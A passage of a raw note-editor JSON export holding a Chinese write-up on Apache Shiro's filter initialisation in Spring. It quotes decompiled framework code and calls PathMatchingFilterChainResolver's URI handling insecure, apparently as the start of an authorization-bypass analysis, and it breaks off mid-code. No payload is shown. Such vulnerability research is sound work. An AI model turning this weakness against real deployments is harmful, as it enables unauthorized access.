ServletListenerRegistrationBean.getSupportedTypes().iterator();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MKJO-1669625230648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qn42-1669625230647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GqZK-1669625230650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hygO-1669625230649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    while(var3.hasNext()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LsNd-1669625230652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yzHa-1669625230651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Class&lt;?&gt; listenerType = (Class)var3.next();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hivk-1669625230654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;neq8-1669625230653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.addAsRegistrationBean(beanFactory, EventListener.class, listenerType, new ServletContextInitializerBeans.ServletListenerRegistrationBeanAdapter());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cx60-1669625230656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OZpO-1669625230655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xbhj-1669625230658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AJUs-1669625230657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Xqh-1669625230660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i07k-1669625230659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i9cS-1669625229660&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZTa9-1669625229661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NtDq-1669625191627&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4052/WEBRESOURCE13b9c3aa75d13108280dc6a5b4ac5455&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4052/WEBRESOURCE13b9c3aa75d13108280dc6a5b4ac5455&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q7D2-1669625130733&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rLm2-1669625130732&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9jc-1669621016765&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4028/WEBRESOURCEdae0b2fa85afcdcdd538519f221ecf2a&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4028/WEBRESOURCEdae0b2fa85afcdcdd538519f221ecf2a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DgOv-1669621093719&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4030/WEBRESOURCE0b14404d15b1c05419c4ab3437ebb2a7&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4030/WEBRESOURCE0b14404d15b1c05419c4ab3437ebb2a7&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CNuQ-1669627963830&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4065/WEBRESOURCE59b5bfdb96f86898953420cd33d80fdd&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4065/WEBRESOURCE59b5bfdb96f86898953420cd33d80fdd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vBsE-1669620917551&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XzeA-1669620917548&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M1Io-1669627751795&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Icnt-1669627751794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;并通过实现postProcessBeforeInitialization方法在剩余的Filter bean调用doCreateBean方法时进入Shiro的后置处理器中将默认的Spring Filters并入到Shiro Filter中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xz7d-1669620181146&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uZY2-1669620181145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2GQw-1669620179232&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iSbr-1669620181608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qPH8-1669620181607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (bean instanceof Filter) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fjxp-1669620181610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l88q-1669620181609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        log.debug(\&#34;Found filter chain candidate filter &#39;{}&#39;\&#34;, beanName);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OlkB-1669620181612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CO7Q-1669620181611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Filter filter = (Filter)bean;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5an-1669620181614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UOID-1669620181613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.applyGlobalPropertiesIfNecessary(filter);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p0kk-1669620181616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H5yC-1669620181615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.getFilters().put(beanName, filter);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClaN-1669620181618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gcTz-1669620181617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zghb-1669620181620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OI4Q-1669620181619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        log.trace(\&#34;Ignoring non-Filter bean &#39;{}&#39;\&#34;, beanName);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LitC-1669620181622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AnbK-1669620181621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vONv-1669620181624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uGGh-1669620181623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wg7x-1669620181626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYXG-1669620181625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return bean;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f4gx-1669620181628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Isv-1669620181627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;27o8-1669621438926&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PeNT-1669621438927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#4d4d4d&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:16},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fFmI-1669628189641&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4072/WEBRESOURCEfaa4f628105f193932d6a8bf01e51931&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4072/WEBRESOURCEfaa4f628105f193932d6a8bf01e51931&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xqcW-1669628189652&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ufEK-1669628189645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#4d4d4d&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:16},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vw4I-1669628153287&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4070/WEBRESOURCE64a63aa17ded1aac6a7629fe0bbeb904&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4070/WEBRESOURCE64a63aa17ded1aac6a7629fe0bbeb904&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YOXm-1669628153318&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0iEv-1669628153303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#4d4d4d&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:16},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nWwt-1669628107452&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4068/WEBRESOURCE9f4f0e230b071ac80db7c8e7c4550410&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4068/WEBRESOURCE9f4f0e230b071ac80db7c8e7c4550410&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0lZd-1669628212859&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4074/WEBRESOURCE7081da9b86e329bde01b6f6667a3fcf6&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4074/WEBRESOURCE7081da9b86e329bde01b6f6667a3fcf6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PiGw-1669619385823&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K15S-1669619385821&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;至此Shiro Filter完成了我们所关心的相关初始化以及合并操作。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y2pI-1669628334652&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QEuk-1669628334647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;PathMatchingFilterChainResolver&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUY4-1669628447911&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fub9-1669628447912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;问题出在这个不安全的chainResovler上：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5qMO-1669635501619&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sSjt-1669635501614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;tokenizeToStringArray&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PlSA-1669628402202&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4082/WEBRESOURCEa0d1d62d15035073e3f7f3089cb69444&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4082/WEBRESOURCEa0d1d62d15035073e3f7f3089cb69444&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KB1E-1669628858438&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;12pI-1669628858439&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Vhq-1669628858437&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DU6v-1669628858436&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L34g-1669628334802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//private static final String DEFAULT_PATH_SEPARATOR = \&#34;/\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vc9T-1669628879629&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;24Xd-1669628879625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OSqe-1669628879794&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tO8e-1669628879793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r9oE-1669628859164&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YjgG-1669628859163&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    FilterChainManager filterChainManager = this.getFilterChainManager();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kFjo-1669628859166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aj3U-1669628859165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!filterChainManager.hasChains()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F9qv-1669628859168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ir8D-1669628859167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYhf-1669628859170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NpkK-1669628859169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wNAx-1669628859172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BZUF-1669628859171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String requestURI = this.getPathWithinApplication(request);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7TzA-1669628859174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3KqK-1669628859173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (requestURI != null &amp;&amp; !\&#34;/\&#34;.equals(requestURI) &amp;&amp; requestURI.endsWith(\&#34;/\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f5jd-1669628859176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;va0q-1669628859175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            requestURI = requestURI.substring(0, requestURI.length() - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jvsM-1669628859178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AnKb-1669628859177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mboo-1669628859180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Db8K-1669628859179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lkRL-1669628859182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gjuq-1669628859181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Iterator var6 = filterChainManager.getChainNames().iterator();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P6h0-1669628859184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XjUz-1669628859183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P3iO-1669628859186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7ss1-1669628859185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String pathPattern;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;otij-1669628859188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;akci-1669628859187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        do {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4vbw-1669628859190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UCOD-1669628859189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (!var6.hasNext()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZYM-1669628859192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PG2L-1669628859191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zAQo-1669628859194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V18N-1669628859193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            